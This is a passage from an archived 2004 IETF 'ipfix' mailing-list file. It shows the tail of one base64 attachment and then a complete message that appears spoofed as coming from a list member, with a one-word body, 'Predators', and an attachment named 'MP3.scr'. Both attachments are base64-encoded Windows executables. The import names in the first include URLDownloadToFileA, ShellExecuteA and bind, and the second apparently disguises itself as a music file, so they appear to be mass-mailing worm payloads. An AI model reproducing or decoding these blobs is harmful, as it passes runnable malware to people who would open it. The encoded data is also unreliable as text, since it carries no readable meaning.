AADlNAEAkDQBAAAAAAAAAAAAAAAAAPI0AQCYNAEAAAAAAAAAAAAAAAAA/DQBAKA0AQAAAAAA
AAAAAAAAAAAGNQEAqDQBAAAAAAAAAAAAAAAAABI1AQCwNAEAAAAAAAAAAAAAAAAAHjUBALg0
AQAAAAAAAAAAAAAAAAApNQEAwDQBAAAAAAAAAAAAAAAAADQ1AQDINAEAAAAAAAAAAAAAAAAA
QDUBANA0AQAAAAAAAAAAAAAAAAAAAAAAAAAAAEw1AQBaNQEAajUBAAAAAAB4NQEAAAAAAIY1
AQAAAAAAkDUBAAAAAACeNQEAAAAAAK41AQAAAAAAuDUBAAAAAADMNQEAAAAAANg1AQAAAAAA
6DUBAAAAAABLRVJORUwzMi5ETEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwA
U0hFTEwzMi5kbGwAc2hsd2FwaS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQu
ZGxsAHdzb2NrMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhl
Y3V0ZUEAAABTdHJEdXBBAAAAVVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRl
cm5ldE9wZW5BAAAAYmluZAAAAAAAAAAAAAAAAAAAAAAAABANtFoQisO1cJJkw4SnuiDAiDu/
TWohu3uFhzJPWHVdrnSNUG1cDxSYSVZHv0+4IlmphlxpjoR1v7w8vrponxw7nIhgF4FOVa12
CZAVeCwcHq1NxVi1ScNFlr5HJ40XHq4rTkBVtA+cs4UlCrVWLFdSexCYB7Iwjw+VGb06pZUK
UJtecT4ldF8zhVZ1dACSb6udGGOKWMEQL5JmS7owNkqdZwpnbWINZLCPcnxRfXoml1GDcwlY
PFIJeDpZVrQlQDobV14qaTyTeXtQMDATRSSNiH50L6pBWjl2wkCmcok9rm4/BSS7gD8PnhkU
JiQ1GiuMe5wDAJpfgyMsfCedqoIhvqYeUUVwQX/BJYYFpaAdglq/g7SQGUkmlHFBgEDEcJAQ
kyJnJwVdcF9ZOFUoHUcfNxK0iaqvv6ltFwArJMDFlYcjOnoyLbWqpKB5pEKxXAEqLp6rsFmb
dD+cuy2tGieEaUuaA1KavmlPgy0Akh1BxB/CpkCBiGQTbAVfU2E=

----------jjmwgjzbxyigpreghxwk--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Aug 31 16:47:46 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01206
	for <ipfix-archive@lists.ietf.org>; Tue, 31 Aug 2004 16:47:46 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1C2F2L-0006oZ-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 31 Aug 2004 15:15:25 -0500
Received: from [200.180.242.22] (helo=PENTIUM4.org)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1C2F29-0006o7-00
	for ipfix@net.doit.wisc.edu; Tue, 31 Aug 2004 15:15:13 -0500
Date: Tue, 31 Aug 2004 17:15:00 -0300
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "Plonka" <plonka@doit.wisc.edu>
Subject: [ipfix] Re:
Message-ID: <ijfolupwcdnujgizuck@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------flbmeapccujslibjkqvw"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------flbmeapccujslibjkqvw
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
>Predators<br><br>

<br>
</body></html>

----------flbmeapccujslibjkqvw
Content-Type: application/octet-stream; name="MP3.scr"
Content-Disposition: attachment; filename="MP3.scr"
Content-Transfer-Encoding: base64

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAASAAAAFIAAAAAAAAAwAAA
ABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAhUBAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAVsIAANEAAAAAEAEAAgUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABgAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAEgAAAAAAACqRgAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAOAAAAAAAATgwAAABgAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAANgAAAAAAAJ5CAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAMAAAABMAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAAgUAAAAQ
AQACBQAAAE4AAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOgpAgAA
6OsI6wLNIP8kJJpmvkdG6AEAAACaWY2VKyJAAOgBAAAAaVhmv01K6OQBAACNUvnoAQAAAOhb
aMz/4pr/5Gn/pWwkQADp6Ln////rAs0gi8TrAs0ggQAWAAAAD4XJAQAAaegAAAAAWJlqFVqN
BAJQ6JUBAABmPYbzdAPpjZXNIkAA6IoBAADoAQAAAGmDxASNvfEkQAC5MUgAALp4I++Oigcq
wSrF9tAqwirG0sDSyDLB9tAyxTLCMsbSwALBAsUCwgLG0sjTwogHR0l10ugBAAAA6IPEBA8L
6CvSZIsCiyBkjwJYXcOai5VsJEAA6B4BAADoAQAAAMeDxAS7JJAAAGoEaAAwAABTagD/lXAk
QADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2V8SRAAFLoDgAAAOgBAAAAaYPEBFpeDlbL
YIt0JCSLfCQo/LKApOhoAAAAc/gryehfAAAAcxorwOhWAAAAcyBBsBDoTAAAABLAc/d1PKrr
1uhKAAAASeIQ6EAAAADrKKzR6HRwE8nrHJFIweAIrOgqAAAAPQB9AABzCoD8BXMGg/h/dwJB
QZWLxVaL9yvw86Re65MC0nUFihZGEtLDK8lB6O7///8Tyejn////cvLD6yM2VTk2VTk6VTk2
VUM2VTk2VQ85NlU5OlU5NlVDNlU5NlUPOSt8JCiJfCQcYcPrAWlYWP/gWVJVjYW/IkAAUCvA
ZP8wZIkg6wPHhOhRw+sDx4SaWUHr8AAAAAAAAAAAmsIAAAAAAAAAAAAAssIAAJrCAACSwgAA
AAAAAAAAAAC/wgAAksIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFcMAAAAAAADKwgAA28IAAOrC
AAD4wgAAB8MAAAAAAABLRVJORUwzMi5ETEwAVVNFUjMyLkRMTAAAAEdldFByb2NBZGRyZXNz
AAAATG9hZExpYnJhcnlBAAAARXhpdFByb2Nlc3MAAABWaXJ0dWFsQWxsb2MAAABWaXJ0dWFs
RnJlZQAAAE1lc3NhZ2VCb3hBAAAAAACH+50ry/loKwSUmEGzn1EyAeEfCO8FJne3yUKefpBY
Qvy7FuqpLhH8q9GmyT0VL5BBPHt/FqjHjTGgKOsh4ELAnXa6Sxh+22Sv3YEzzm4TMIPbOjLF
YSCcFWynbQNwb2sqSbWxE8Km6af4UXbWD5dEdzhsUXWLjV9MQWiz+KUZT/OItczECP1A2iul
IjxWaGqSOYoBRdzOzEjX6NPntNYC8HnEZ1V7ayqpD9gJssdWfu5/7yGwwLKMUdjhplwGygtY
prRi3EmikEhnaymGwvE72ptXwol4GnPcU/jQkljZ79cey9wC+ctqlCZ9GLb66LtUI7D4tzIV
IUVmgSEplthDnrh29QGqcPTANQHXWatAxFJN4w2qN5EV76dhFya6eQMiA1Nsc68sN2+rtphZ
belvUzSbbeNC9QWY3hBs8ey2BBddKmyQ4i5BamjdMktjsCULDcKXCGrJOprwXOLlDjCYYCtV
yqindHH0gSRabWmaOeSOX9IA+7viHyM3IoE5HwOpAnG5xEbK8c2i+mfNAC2Hs0d5/uR/zpCb
oTHHDthxfIoFQqOwqfNhmZTMeROFeaGhztHim3ec7avQtGtLBEU8JnPyQjInaIwz46mOjxqg
ddc7cm8uJfeB1EgzjjcygKWiNqvDIKk/qxoxXum/RDiPNhYs2kQ79IXKpPurvVSc0uqcG2aK
wKjMEm2Dj0WTzDYbu1dw4NlrpaCyhOzrUQYuSzS4CPRYLv16XeGbstABzg3GSU3iiRirla5+
XKDj/jgO5Au+DXEpe/8m78xsz7zd38CzLGA45AMZpZSH/5Y5gtfo1bXca8qqUbHzRI3Gs+cg
HtD6w1e5jt5zCCBxZcYKgk836dHBQWyGQpfwPjxuyfMDr8XE7Rk1ZSh34S2OYhWmW5b8XCIh
0ES/1qXPmKcAdlcSK4tm62h2E08/WSlEXtHmLbeGlED7zWqqGAFVJQbbfZmMgIkP4n65LiFh
z7/p5ziLBSa8N2nUnD6e0lWW9vt5G7x3jWe/CTj6cG9ERx11oINoOu2rQ5HkMPPApKV0zPYg
YttmP52AhG7XglcpTOzEJQqyWg2HdeWac8Ba1kmaYl+/7sSfLcb1ix3FDO+HAQ2jySGdmfS6
Ue5UOlre+HAYQZQh/vNAYKFkVsxTTr1mhN8Vzz7UW0FKXSLZablvomYIOHAwv+5KeICfDTyz
jN//JkiBO41Z+g/8YrKMpmsR74wx5vZhj+7cbXOUfFIGDkHbRPjtU+9BTGQwGFhFlGCEUMlR
L//1lVFUaNXSzk//41cIrNMLeVt8AdSzb5GY4VuDKY7HwRsBOofuYhwZEVfveEGgIoLmyWld
mMtV4suIDhh9ENpmyIUG3Fdb6jgONiHqlGVUiYfFMNdR/8Wi2AMHTuKeSeb1u9sMXV4V8fTy
gA6g5CJud+doobCa/wU+KVM/FBYCnIuTB85G9zLaNwKkwXS/ZwCQsP81olZVgyKcsKSIukqM
t2ZLJmXZ0FTiHbbElnt9IQzOm8yBrMTpwZg7xPTzW9btq/p86PRXHoDtwjc1CtO7s7weMoHu
LW5Neh/EHphjVHlP7RwUTuPf0fO60DjwriU13yXZdk5Z2NJb5BSoPGaCc6QmITcyRsXLNHIh
xtW74w2E2QewLAXpuODlopVEjhJJSIdo97/1CoUYVwEMlDlXyg5JhuTGsBuaY+3im/8Z+/GS
Siej0oik+4U30Ig42h1/LT16X7wIvxZCBs8O8zCfoQQ0Y/z0bbJrwy5UDwobLtcXcMz175sd
TdjdbUwEdbsURXdb1kfk2pqvF5WaJEvXblSweNMnqw/cwV2ABWnSd+sfYrWsm960RSsl0YBV
ue+cEf761CLvW48M1yzC5KvG04MbsRMgSaIGzyd7gZLvPugLJC8jnyUEble3QSMZrmjHPZHM
deZ6NP4Y+lYdy4xywrm2KPomg/XCIiBh9BdCPIcd9BchmV+Cesw2IrruIi4sd0hLdi21gOeW
cWgRsNW7yWoop8C1Fk26kjqL7TzSW8rKMjjxxpZGiCoCP/mAfx+gNpt1CixNwm05HVM3gbI+
RSI9XNvkkAu8eFtoAdPr7eV+EZHhqdIkwG61qI7FkAJ7eM52CN8FbPULQOFCWL1xOejoepRn
z+IP3lqWW1OXVcws8slDTmDzHeoWq+LVbDU1Rqu/SiIrVyCub80+qtOGLG+VfQcb1bYnJ2WF
64bm7G0FUDNheB7ngdW2W03gB+jkBqb70xrz2JKgueMOTlg+Ox5DVM+r+N8+stLsC9UEI+Hp
b+7Kqqy743XT+bvZZuzsJZiciSdwejR1dHfwU63VH+B7F1xX1AZj+lJKN2MAYnUE9d+ugH2D
ldYmesi6pewsfPZ+OC3zJ078TQix1AQtlESBWgkTluC40m8KlLrUjBA45tEkCdkJsBQJevWD
bulqGsxgrX6kRGBFcGmxewxC7cNQ6gLOCTOhjmYHEK/RGVJxvCuUTqIDu3pRxKdqv6JtP50d
lsYCu7oOD6Niyde46rBtVcssETLUoZ8anpUJSWjGejEmFgG3v+3labjfdH+YS5/9msnI8jqU
W37EU3gS3HlHAaYObkVbVkq/DK+P6gI2QuBKmEBA3e7UDQtTNWuRMsDPTr590M4l+zhx4sYQ
LTQ6EAm+/4k4mPR56JzOKQT41wwoI7OlDBU9Uz0FQQfW3ws5SxD4HukjnJ9sxCyMHcg99EI1
jQcA3VvSan0WOG7eoaDYcRGBM5j8GN6jBYwWFtnc9NJMP75j5dDb3jK0MzuGy988Lyn0ptJN
RBf692BamuDp/gU6iyLsjcbFx/Q9hEHnEJ39LtAqBtOuMCsw3PXsl/KYbymphNyOUlj7T1q6
hvoF9aVRIMoLg3sJYpGbyU7Cdxmx+lEEyso7sH051C7v58luYt74Sbl1VgYu+Ig+qo1GkLNk
bMkwZG+zP2cf5l2FV0kuXutRaR+aIcXUgoxfUbkTVaAvwckmBmcEPo4XIXojcanH4P7mB9TD
doczIJ1FQeSAAxZmSJonQ7qnjiAZldRciwHyEd4kPCncy6+B+M8fKn38q/DpVTmmj/Ldxy9h
y1xqOr4f26EF2jmZckpJ1YdVGIyUAN9E64AKtqeHGKhTmV5KG5nuwQPZUp/naElESeJ/f1+6
375msRGcRG7GCamkyvDZnbYh3B6aMm0U1En2hEChXniVEO13bLjzlW1A9LyZTHtGau6o5diT
pNG4ixIzd6ilspI6yAxCT3rmE9WmICEI6nxGUGDrxjVi2JeD8O3AlKw7/D6+DkCLGNc9Ow9o
RTfMBHE8OPCHkHDI/VV8xCjmKV/ASdtjBUvLqPFerMM85dKqIh7x0kZxp6tWGGWliPiO1yJs
Qg9emkPaBIdRGK147p8TQvcKESTGUs8N3lmxNKeJSmUn4hoTQDFnMsrrQCW1+eWXW4EauNlC
xIgEIn/7F1Ufbe9JK6dXKjPYLmitr+fb3koDLZbfzjtgsEKpIEcgAa1bVf1C98cKnOO5topu
EZQjAQrVHQrYzDydeN6wxsFlWY6NBl3DeBIHrN6dQoTf3jiDOZuqsnxwwkv9YBKAl093LpsU
OkKuQ47lSltfLnZh1qkdxpwSFDcdZWOL1UDoE0GhyOeNvBQhgNEkWLn5QyHCS0I3X39pTt/s
CpiBue0swvws8QRn6u3XuEE3VbcPkL0jolT3Fd9YfVZsdOUmLGSB3KXoi19dI477Z2gkU5K5
/ER3lWwD7z4sNPh7+NIyEXGaB32yO0VRDdvfDn2K2LKefui6FtNHOjp2u36AihUMgARlset0
TL/D01rcfKJqxjtRkcyXNXbdN62hBUGznaUeeQyFiaoKk1RMIQhQyXEXY8RgrRVFiX90sK1V
JncsqgnkCFhtkSV0E4EarSuK6Ib7RF2VMpty8eJfGTYp2y2u1HU/qccj7mt2VKdTufwBBkih
1AMCC5P17xD0oYLcjW3q14lOoqqVvqqXzZy6FrmyWXYkZTOtIVmMtW48NXWvmboEPv75W30R
KHEA8t/ht1Vt7WiqLJiAgYhbJ444AOVgJBSMQTFWVJWaniQV8PB7+gRE3pa29QIOKqNpwvQ5
zrF+3OeTPd9nX8/NUa5JmyrbfrBxA3uMNXBT59o0JifS12ftvpHyaOGKt45qBLKe9yAxKa3L
x2Ada9tiesO9mk4SLsjjOQsNRvlpVvSnBuVVOgTN/cAktBl8zalBgeHx619psRNmCE/fVdI/
+Rnu7BWeHmbktIH2037faoRkShnkPkepZslrfaLqNoY2n50t8XG+bAiRspM6HqKP+6SLzM4L
mwG4+4EPCACJmAoo5oUHn/eedo/md+Qf527YvuGi9317oX9hEl8q+Prg+I9Qw3EOdaKaIEo1
fzqzDiUROK6xE7xF/xuOTl0M8rfZFb/aNJcTc/mHVPdZtXLX8TGE4Z2/mXaenKyK2miom06c
RlfBF3BAKGhRldsYQ9xPv5cOQeMZwTR8PhvjwDwNnaOO13Oh7LVQZuoh21H3Q/ApT+jqB6v6
LRlBohX/akhz31LpT4Wzlqxlt9Wcl62KApbKcgSC/LkY0+5IUNqNK9kizH1Bps2brtKEIaXz
U4aKLuFt+WfDAgikixaNvezLKodAubvWIu97VjKg/gkRpLVNuKL4WXFEXmTWe8U3y4gBn7UG
VjW/PZUyjaQSiJexKp2DUU7AN/Hcz5nawHX7WrJ3bmgd9wN1Qiej14f2P0cAqGqLbu5rpgzd
vV4cE9ZcewnAuYg5ZMegd/92jaJJ8LM8fQ3c+A2vjiwdY4uFN8RBGbcVtLEPL1jNYJOPJBdC
eFNf2IAUDS+GYYRtKmh4BMXfjJ9pUDqaYr4LXYOInY/1hm2FAnlHICWDwOs4gCN84PsBGSGc
VLLpgW4sPEb8u1EkN/NduE6bNF9oDnPIhqkLC24+bPD+y0bQ/VvvZGQMbsFBhwf1KWcgqkjA
ejhMJlXsbAjlMwkhA44V41AjbCJ06+j36svStsWWYdA7FcImLiDZmp3UGMAnWRjQ55nJzEW5
DovNjrV0IKBQYNFryGJgZvc6H0bfSOdg3Q7RmI1s+xgyK5gMUdvjKCnKaqH7JOm6KBRrCRcS
w/02nAs38v172NpMJu45Dqicgqme2pIC6w7FIXRuW4Y49GY/1YmI7z/EcQ/qIL5YmnuScZ0l
O0bfWN2JyK7lc62wajdB0wPlNEcS+F0vK5NmNz6bvy3lYi5AQXCXqrjX76DppADcOtxBbkWM
S5uRJmee9mF8fBzaw5P3k7g3MHKwQy7SLS4yW9+fK64clkW6rbnlfTjdaJRhojIfh+uhSsJZ
gd9qeRTyFsnbLmyAO+3Emyvk27NpM45kmCbZwW0mcrqSoduGBJvQ2+yBIHhSxdlQvqA/l81k
7cOiRK3LBcIAqCikpogQeMhX7+OypJ8kRHFAkBAUX+3S1C9tyXvagDjJIzWvt0rnrqxkIqsa
wjqDeM6DGkawBw0MBLYgPstc8jr9rgpuTPXowmLDW80r/E+Z9qQQ0eNsNgB1SOzdIDNzkQxY
axxsbeO+pGUsbfEWNxssInfyjjTmMkb2F4DOE5tzOLvC4GWdJby1ZCJZO8bXn39/EkCNb6tJ
oAnC775BP3+t9jHJ8TNEZztjpHjtli6jLn3eYoNVoic+65+rx4JY8OsOsZeg2dWhT15Pi9PT
q/FCMfmUk7ahgM+rMiDVG0b6DZRweEcgMQ/41LveXkr0+LytTAMtplz3x/ZWIwso9wmzlOjc
/TAUi751pCFoxg7NlBQfb1XNT/1BBcjtSsPC84BglUIPuXNgF3Oe2fH4NW9e1xbvaVXYyXsT
Nd0SsyCQp5RuTrQTLPYPpZPqu+CyZxNzlTA9uu3MIv3HwZORZChNxgou0HszGqlUNT/v8kFL
YEuR4XugwGANx+2bES7bzbU6FQxvNSzH13eJ1koTTJfNYXUH54V7YX8nfzrVpU4kq2tzcFPk
yXoaowqKcbDYoFs0Ip5CSFK+4H2q4e2ohKtF9BUl+b32WD4l3xobZ7IImRFrbYwvP4H6cFbz
yKhOsJ/Ult8J72Vopk55FOQaGMUUjlD+oiT4J2lV0ynPR2Q3BQqe4ZndJNarrhbTzW1+Lb6C
sEfFjzOIgP9Xa2w8F5M+9jHJpFGSWUq5pkwuuqsM7b3W8vfvHFOZKqwbq0RmZNkxDrhqoqDY
zrQLSNFnx4mjMGKvjyI7phslxxt9OXsM4QYKjS+CsJiM5EHuOfYrW17prsV7cJCc/pU4SCtK
9THlwNjwA/1EM0beGA3RgJ8fFzbJwC9id52qec3LoA6zjjSoaxGQCgdgYhE3bMg9y9Nj9Z2M
jNgJx2CCKPLKrdbBfczkA7Qd+sW76xhuEfHQwOEQFGlOHTFjlkq4VCANcWuqnNff6mzkE/W9
lnnVi9cUcCYgn2NGjyVAbPo4Di5VpDR10ew59weNjmGfh54Emcj7+L7MQJu9vVOz0AxUyizs
ulZDwZGYMUGAIv+l2SkyYTxRctVdKfx7ru55IX2hVrifb/Bsv/EIm1eq4XpXXSwLIAmqqPqt
EHjgXNWZFLM01ZsPUfM5ZujWdlJYSihje9EHAFyd7q4ZfH5RbXrZfeSsF01kCy/6Fm1tnkx3
8Qwl6P73Or5dfr+oyOmB3zmzSPgn9Kj+J9oz+cXi/ORmbb1mkavuQl+bKrJnlZ94pz4/2Fim
plZmfaAdit1oRDaPT6cG+4d5VqYiyImSxradSo1Lg70RJ4eqQk9GKA/jGdr76AIxXkAjyO23
n02jpFEiqY6J+Y1pyxX+2ne2H92HTbwHJ1LuUDhtdYD4fxvtpG2Fv6vtYWQhzBk4gmitkfdS
vG37r6st2hhfF9bT+cRurZrf+qGMtBQyerDltjw9nTMUUUOMzH1RfCC3ejpuonsdLi6Xg8ye
aHU4Czfrkfwh/J46BTP38e+xdY9IQeSL9K1d3CsmyZW+RAPI7ZOwC4vp/3o16qqOAWjc6Fhg
W17uGWQStMy3es/AZzbq6maqjGkEKAYI8iSdyeBx7Y+kW2PQ3pEVDoGciK5PYRJb1tT/Gm5C
w6cY91rINde1tF3klBk0s+trn50ttzeFIf6gA2/yT15IXahQNNgRAKlZmhpQfFW9el+8AuhR
KXidVT1orWOascZtfgnsqGWGUG3w4FCzimnFa4+8Fy8G1VvhjPTVJZp0WDa0W6rPgy7JOR80
QSch6u0Snph3YOwMjg4bjwIgRoQ3TWKiQWaHIo830oprMUSF7VW9JMa+FmYJcXtRd6zDjNnR
GXuS2BGW4w4Vc6ReTZAUuini3cBq607f7lNNIhvigcquAZcBbBq+oiHebmaA+VIXKnzCCXR6
WVJjovUWJuYTgCVdShAkZupnTN76NVcvHXcVqyRp/h+Sb55K2D65z9QpouukeaMhDef1c7+Z
JfMdphPzy5NEagYwX3NElDgQnBG2IsLukrVWKs7xFX701xijZScA3pecEDQ2pHGo9sqZStBM
2bNSMmMYlfiov27RSS7yOVAQW3D7Nwlbnv9DKu6EeCCENXkuQorKDXLlbcOf8mlDhGsSW/vE
qVxpD+ejb7Vs1nyHaFtnJqypSZB4PkvPS5RRO6xJnNXGaf041Qz+13inXV064repPRmleost
00TLZ7HiNHSaFQvga0DIlWnlGCsjk1gZRtbPxFAVD19ZRoU9Z6lXiCmILgBECi6yD2UQo/Fi
GbX62XnY1Yd/+BBxbQNdMFlmiIxUzwPI0c9Wj9u+xrLNC3GElhhgHBz6623Kb7H0pv1HQFH+
f+z9o1Wz07m+7odouw5erF97xCARREojoOVM/YJRw14l0/zhtGQGfLoYvrUylOv06L3n/41j
XYJ+Gc3lYfs9Y3wlCHQabePSqaQYyDpE/hNZowWP32uaZmv0JyySBZVqbV0sufhSHo1eIzg0
ZU+qUCfY5hQDkbPbVw3F9kLqr+VFQeFlmeyw8NGqPYb/wCF4wnaOb8X+8tIdHXSwt54TStLX
hEYV29Lsg1gtD1a5eMjsbL3TNF0JI/bVKzwSbtD1yOJDGnD2acneIV9bN8n10EXD72zR9EQ1
nIf5Yi3vX9OvX99ZNyVHNL+mZoQeRtAOpGavBRtxMXK2nmEvHHVoSzgiAV2ZEWaA5bHBbmj7
tVB78Gz8vx5mFJ3XqvpadbR8Ttiyr6yPWi6V0iOjm5mRAZC26Z8bglrj6Bd4v3vp5WmA918E
rZ8UnKgy+HMWcU4rG5TKIi++6FJblZ/pJQgf8jzITE8VVcEDu/QO0ODLNGNwtkkmPLmxdL4g
y4jVRtFvs17dEYdXOTbt67Rr8YLI9NGif7apeFrBRi8qFVupSj1wm5/9SOJvBHopx9k9UGp8
94omgCt24CBJgGKlCOWDeMGKuROBok6YHDnVqhbriJcgM9pwGQ3sCZnoAuMuqLH8eA6JTjPm
llFevP4dN0dKgcERb17/mH37t/ztwksE8Afl1peub+g7PjUQWxXT3WgkgVahoo/Wknuq3pfV
A1+taQUjpuuigqvNwIY6gnxCNxxqv27VLWEK4nylxnZsAyZHrFJ7/lAj2Me4FaadV4UZj5KZ
HpkqSXz+DczseHGnQ4a+ElBAPIHD/mVCeolyzGIN7Ph8mzh1eQy9Kpnyg0M+h1hqBHy94luC
KqDto8W/cqTcFfccQMQ+2isdRqCTqFshyL19zVc6cg/maPKc6nrWGx/bjmxm5nEgtvGxaQmn
l87m54B6YJrNBx81VUxSTavHToCfvzUXpUY4LxTRuWJHifJ+uv9CkOeBSB1wHM5mm7SWHZ8I
3qYeCzKmcJulAD0wpv/i09+0SeaWtfQl2yV94E3c3fqg26c7JWWxhh8O0kwJySIvrhD4v+nN
9rUZjE/T/BfEDYW2AUC8bPD1/FIEHIq7drT1kLkfzyvOKbfMs5MS7QjYDWEFy0ASBAJtbcWR
iIBCGfuTHgp9Y9vG6xYScf7s8ovjvR1D26nWvBZPcgPk9Pz/gInIddgR5sEVg4uiGcYFF0CK
/JfLzW2bW9QEAZxSNvLSag1xzg4+gfFa6bBsuIbPq+OyHHsjWOAJoYW9UWOA81dk630iEZNC
Vtn30vF9hu3rbfS3mu6/Z8pf9lGFQ4+UWvZC/GTzA77ewJFv45+cQx+cqcz1UVvEwcxNiDcK
OKtKpuK2V7F1CbcojJMS7o7A0mzAJ2iY2cv0SS1xigzjjjvBlIYOdcCbclL/3QXtgseDuIxm
Ed/Pe/vcfIlL4mlxlPQUp8mc/b5ghWD7fHce3CHeqzYOzJZ/Pw8+45Rh9JGX9XxObt1hqYum
hd0JpHFEO5DZwliQUnMHlaoZKu3LLSovPKCeS7JSYFdaimCZ9dldboj4E+BPJRzW+YrYCvZR
R3PUl37TNOVdp519Ha46ySLLnnU+JW40/En2QgD8YmtZ2+8RhLaMi5YGK6O66bTyWKxRqCHR
p/ez1Kd4PBPjN74uvW0N6zLnoG1uQ9rKY+Dr1cLVuxcBRB0Nrzr3guSvhu3Q01fROLPOlIXM
OzkIo0jmNwZS/vyntbDSTaQ05XZWyJc0mJFjMt3IO7Mfx2CE+OG43QUqKuGPQPzT4yOjOmSr
zV2XVHDpgYBMGkthDUKVCcV7C9Sa6la+MEWukbedSD7AmoFRPA3dD/iJcGloriytE7g8OEbt
nOLR+5au9D94NsU3ipixqHzIreo8p9jtKxayWfaNAszz/9b2nanEMvXmKsS1SsrVQvojKNi2
9Ndc4RhKP8pLS749Ih1dxs+YeLeVRTRjz5hMtBnNxs0D2tW/7J4+aso2yHp9BMBmnakCGLFs
z2hMaeyMqRkAo8i2NxeOhzfCtY1fVoD9oyzFRSZo7Gq6zuQuA3y0unbNcTqqTs5ZFij0+x+n
OxMHyr/XkiagqimEm9r5pU3ZdQMoV0Rd07agYPzkxry3ixgszr8ToAhOMjP6ucwmwTn7s1nw
GAdK+Vb9HE/6HrlUqDcC+/H7olvrWK4Y5HPObCG4BUct3JvagI1vgb6WJH5IYZ4Bs0MweQ7o
p85kG0MwhHdZ20BWfX+9O+T5Gn7n+cvHZNR2wThBxQmxkdPnHhMd1NG20IkRPrcgo+mnHlUv
S8wkTYsuebh3OnKVi2dyRgTMnvrETxrNzqWvVNea4yA0fYPfrJLXPZ84LWTci40NrHtaxfUB
ItF1Cb2dco2D5Uu/VCPw+F1AfGchXHdOBGf0Qh5YUZYQ1kfUzMlEzUJLmFx8+B+s/rCuultV
F84Eq1DZGDA6t0NDy0CHJl9L+SXFJENCZAzxxAUCm2V8iP/RD9z5SxdQhviZToSTgMRizOoe
Jj/uMke9FE4VSih/lP1rgAFr9LjW7pf3uWGmq1g8CmhQb2SAGivbFiYkUrNE954dKOW8+Te0
jXzfp2/6ANVfPk+lN1ol97hinqvOB4J2Ua75MUWSFL9P+hSSHMaDY1oYms+0PYC2sempnr0x
Ns8A2jQsngzAHHW17/wHyUqKc/cZWuilWRL4z8WzDlz14BGDFL2q/BDNoLtRYEwtaEDkBa9+
zNQgrranCyfKCBf2HaamvnHyAfissrFd/5racy3Pxrn0dL1+LozlWKjQU2Fw/24JTGZuyJFd
ouTBHXIbWgP1qilMZvaGuO+BoXPWv236tm6yYdoD+bjk0gAJCk+iJ2cwO8eJUyupZeALULrj
bLrOlXoJwxssSaCjMTgL/GfzlD1L28lNK+Le5ZJF/KMNpTUex4a8iPYJ8sF9BdhnRz/y2buh
soARn8WVFZ4FSOE0Gj32dROBdqXVgtbvLHsk2vArjsmqUqlcKiQs1/dt96cGe7hQN0CHFPUq
pei2eLxZfrrJ4Ndcy15hifgwKBSAJMiXm4IHkbJ7/Rxlpb5ee1tEmtgum8kNRuLqc46gjhE0
OZasP+oVGCKdl+rkN6B5PSDIaq9lEWbZ9N4c8SRwY/Z8hp8e6JEGeO1sOwKRqT9WB4liw1ce
DDI9csY0QVPPhB/IyoXhX+bhjV1yGg2f54mLXlzvz3k6yu+9zkPIolxWdb7rG5kWGzNuatmi
nP8mURji5LYaCCFFZS4ZsAT1ZHEOk0lGtAiuH2JdZ0QaB8LTdCF68KR3IJU4DD28lxj9+A5N
FhQ4nhSq15DG4bXw0gNFQBl5pDooBCab5hUD5kAFauRk69yNu+pMAVXwdyjtc/P+qB3wJ4DC
tVCMd0eOqm5Ql82qe2cMdsjstlaZHmWgEIgz1raiqjFRa8kGZ/cJqisLTY3fRC4Wv9jJHow/
at/rl6BSvkzh9uUm77xCdPyC8+j6mYkrLGzvQTJCk2uMj4uLYtpMcJ4UwTHJ6wIDZgYbvgNp
BVJFG1pGvyB8AUhBnT+RBlZ8mPlQ2Rv92QnZmNIOO50e0A2JYZ8+RTujAWp8X7DS6BiR9g+4
kfSVS1qjfv/y77jmqoHJNK+rhXjJnrTO9WRFu40syCm+iGEPeXW2VOfjtebyRnlAf1hAQpiK
bzF8qeigATg6GW1wQupxZLfvLO5qmApwmMNFDT1TxaJMe7XbHXgO2wprEnD7XeuTeO0Y6STT
